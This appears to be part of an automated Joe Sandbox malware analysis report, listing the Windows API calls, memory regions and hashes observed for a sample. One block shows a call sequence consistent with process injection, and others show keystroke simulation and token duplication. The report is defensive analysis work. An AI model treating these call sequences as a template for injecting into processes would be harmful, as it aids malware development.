                                • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                              • _malloc.LIBCMT ref: 00435288
                              • _malloc.LIBCMT ref: 00435298
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _malloc$AllocateHeap
                              • String ID:
                              • API String ID: 680241177-0
                              • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                              • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                              • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                              • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                              APIs
                              • _wcslen.LIBCMT ref: 00401B71
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID: @EXITCODE
                              • API String ID: 580348202-3436989551
                              • Opcode ID: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                              • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                              • Opcode Fuzzy Hash: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                              • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                              APIs
                              • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                              • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                              • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                              • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                              • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __lock_file_memset
                              • String ID:
                              • API String ID: 26237723-0
                              • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                              • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                              • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                              • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                              APIs
                                • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                              • __lock_file.LIBCMT ref: 00414EE4
                                • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                              • __fclose_nolock.LIBCMT ref: 00414EEE
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                              • String ID:
                              • API String ID: 717694121-0
                              • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                              • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                              • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                              • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                              APIs
                              • CreateProcessW.KERNELBASE(?,00000000), ref: 03EF1B15
                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03EF1B39
                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03EF1B5B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2119793084.0000000003EF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_3ef0000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                              • String ID:
                              • API String ID: 2438371351-0
                              • Opcode ID: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
                              • Instruction ID: 4aadd18e702691e7c4942c791bd816293fa9e2e7104aa24dfd4222a6d521e183
                              • Opcode Fuzzy Hash: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
                              • Instruction Fuzzy Hash: 6312D024E14658C6EB24DF64D8507DEB232EF68300F10A1E9910DEB7A4E77A4F81CF5A
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ProtectVirtual
                              • String ID:
                              • API String ID: 544645111-0
                              • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                              • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                              • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                              • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0d8ad4d875158e0120ed104e09085659f42b86f6d600f5d33fa38308f41241bf
                              • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                              • Opcode Fuzzy Hash: 0d8ad4d875158e0120ed104e09085659f42b86f6d600f5d33fa38308f41241bf
                              • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                              APIs
                              • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ProcWindow
                              • String ID:
                              • API String ID: 181713994-0
                              • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                              • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                              • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                              • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                              APIs
                              • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateHeap
                              • String ID:
                              • API String ID: 10892065-0
                              • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                              • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                              • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                              • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                              APIs
                                • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                              • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: File$PointerWrite
                              • String ID:
                              • API String ID: 539440098-0
                              • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                              • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                              • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                              • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                              APIs
                              • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ProcWindow
                              • String ID:
                              • API String ID: 181713994-0
                              • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                              • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                              • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                              • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wfsopen
                              • String ID:
                              • API String ID: 197181222-0
                              • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                              • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                              • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                              • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                              APIs
                              • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CloseHandle
                              • String ID:
                              • API String ID: 2962429428-0
                              • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                              • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                              • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                              • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                              APIs
                              • Sleep.KERNELBASE(000001F4), ref: 03EF22F9
                              Memory Dump Source
                              • Source File: 00000000.00000002.2119793084.0000000003EF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_3ef0000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Sleep
                              • String ID:
                              • API String ID: 3472027048-0
                              • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                              • Instruction ID: 4833c5f03fd64410cd00abe2d7984d86d6ce6e991c66270ce6fd4aa5ce096b32
                              • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                              • Instruction Fuzzy Hash: 50E0E67494110EDFDB00DFB8D54969D7BB4EF04301F1006A1FD01D2280D7709D509A72
                              APIs
                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                              • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                              • GetKeyState.USER32(00000011), ref: 0047C1A4
                              • GetKeyState.USER32(00000009), ref: 0047C1AD
                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                              • GetKeyState.USER32(00000010), ref: 0047C1CA
                              • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                              • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                              • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                              • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                              • SendMessageW.USER32 ref: 0047C2FB
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$State$LongProcWindow
                              • String ID: @GUI_DRAGID$F
                              • API String ID: 1562745308-4164748364
                              • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                              • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                              • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                              • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                              • API String ID: 0-3772701627
                              • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                              • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                              • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                              • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                              APIs
                              • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                              • IsIconic.USER32(?), ref: 004375E1
                              • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                              • SetForegroundWindow.USER32(?), ref: 004375FD
                              • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                              • GetCurrentThreadId.KERNEL32 ref: 00437619
                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                              • SetForegroundWindow.USER32(?), ref: 00437645
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                              • keybd_event.USER32(00000012,00000000), ref: 0043765D
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                              • keybd_event.USER32(00000012,00000000), ref: 00437674
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                              • keybd_event.USER32(00000012,00000000), ref: 0043768B
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                              • keybd_event.USER32(00000012,00000000), ref: 004376A2
                              • SetForegroundWindow.USER32(?), ref: 004376AD
                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                              • String ID: Shell_TrayWnd
                              • API String ID: 3778422247-2988720461
                              • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                              • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                              • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                              • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                              APIs
                              • _memset.LIBCMT ref: 0044621B
                              • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                              • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                              • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                              • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                              • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                              • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                              • _wcslen.LIBCMT ref: 0044639E
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              • _wcsncpy.LIBCMT ref: 004463C7
                              • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                              • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
